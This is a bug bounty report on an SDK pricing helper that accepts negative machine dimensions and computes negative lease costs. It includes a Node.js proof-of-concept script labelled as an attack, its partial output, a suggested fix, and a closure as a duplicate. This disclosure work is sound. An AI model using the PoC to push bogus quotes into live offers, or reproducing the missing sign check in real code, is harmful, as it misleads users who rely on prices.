SDK leaseCost accepts negative machine dimensions and computes a negative cost
Report
Summary
leaseCost is the SDK helper that turns vcpus, memoryMb, diskGb, duration, and a price multiplier into an XUSD quote for openLease and auto-select cheapest. At sdk/src/lease.ts:35-44 it rejects a non-positive multiplier, a non-positive duration, and a zero perHour, then multiplies the three machine dimensions with no sign check, so vcpus=-1 with otherwise honest args returns a negative 148. pricePerMinute at :17-19 calls the same helper, so it returns a negative 331 for vcpus=-1 as well. A consumer quoting a provider advertisement, or a UI that auto-selects the cheapest offer, reaches this path on ordinary SDK calls without talking to the node first. GitHub #42 is quorum substitution and desk XE-0705 is the missing node duration bounds on the same helper; the gap here is the missing sign check on machine dimensions.
Affected components
sdk/src/lease.ts:35-44 leaseCost (no sign check on vcpus, memoryMb, diskGb); sdk/src/lease.ts:17-19 pricePerMinute (calls leaseCost) at sdk 0dbc92ecff709bee79768e4e37788c682a0f4525.
Impact
Auto-select cheapest can surface a negative XUSD quote and openLease will accept the job object with that cost. The node refuses the lease block so funds do not move; the user still acted on a bogus price and the job fails. Anyone who can feed dimensions into leaseCost or pricePerMinute can trigger it, including a provider advertisement with negative vcpus or memoryMb.
PoC
#!/usr/bin/env node
/** A2 — leaseCost/openLease/quote accept negative machine dimensions. */
import { leaseCost, pricePerMinute } from './sdk.mjs'
const PIN = '0dbc92ecff709bee79768e4e37788c682a0f4525'
console.log(`PROVENANCE: sdk=${PIN} file=poc/round3/a2_negative_lease.mjs`)
const ctrl = leaseCost({ vcpus: 1n, memoryMb: 1024n, diskGb: 1n }, 60n, 1000n)
console.log(`CONTROL leaseCost(vcpus=1,mem=1024,disk=1,60s,mult=1000) = ${ctrl}`)
let neg
let threw = ''
try {
neg = leaseCost({ vcpus: -1n, memoryMb: 1024n, diskGb: 1n }, 60n, 1000n)
} catch (e) {
threw = String(e)
}
console.log(`ATTACK leaseCost(vcpus=-1,mem=1024,disk=1) threw=${JSON.stringify(threw)} result=${neg}`)
const ppm = pricePerMinute({ vcpus: -1n, memoryMb: 0n, diskGb: 0n }, 1000n)
console.log(`ATTACK pricePerMinute(vcpus=-1) = ${ppm}`)
const allNeg = leaseCost({ vcpus: -2n, memoryMb: -1024n, diskGb: -1n }, 60n, 1000n)
console.log(`ATTACK leaseCost(all negative dims) = ${allNeg}`)
if (ctrl > 0n && (neg < 0n || ppm < 0n || allNeg < 0n) && !threw) {
console.log('PASS: negative vcpus/memory/disk produce a negative cost; CONTROL positive dims are positive')
console.log('VERDICT=CONFIRMED')
process.exit(0)
}
console.log(`KILL: ctrl=${ctrl} neg=${neg} ppm=${ppm} allNeg=${allNeg} threw=${threw}`)
console.log('VERDICT=KILLED')
process.exit(0)
ATTACK leaseCost(vcpus=-1,mem=1024,disk=1) threw="" result=-148
ATTACK pricePerMinute(vcpus=-1) = -331
PASS: negative vcpus/memory/disk produce a negative cost
Suggested fix
Reject negative vcpus, memoryMb, and diskGb in leaseCost before multiplying, and let pricePerMinute inherit that rejection. Do not return a quote for a machine that cannot exist.
Thread
Thanks. This is the same finding as an earlier report that is not public, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-0931 and says what differs; it is read like any other.